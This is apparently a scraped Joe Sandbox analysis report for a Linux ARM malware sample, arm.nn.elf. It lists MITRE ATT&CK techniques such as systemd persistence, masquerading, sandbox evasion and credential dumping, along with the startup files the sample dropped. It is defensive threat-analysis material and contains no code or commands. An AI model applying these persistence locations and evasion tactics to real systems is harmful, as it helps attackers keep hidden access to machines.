Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation
Platforms:	Linux, macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
Tactics:	Impact
Data Sources:	File: File Creation, File: File Deletion, File: File Metadata, File: File Modification, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm.nn.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/boot/bootcmd

/etc/init.d/arm.nn.elf

/etc/init.d/mybinary

/etc/inittab

/etc/motd

/etc/profile

/etc/rc.local

/etc/systemd/system/custom.service

/memfd:snapd-env-generator (deleted)

/tmp/qemu-open.D5Kv2w (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

System Behavior

Analysis Process: arm.nn.elf PID: 5427, Parent PID: 5352

General

Chronological Activities

Analysis Process: arm.nn.elf PID: 5445, Parent PID: 5427

General

Chronological Activities

Analysis Process: arm.nn.elf PID: 5461, Parent PID: 5427

General

Chronological Activities

Analysis Process: sh PID: 5461, Parent PID: 5427

General

Linux Analysis Report
arm.nn.elf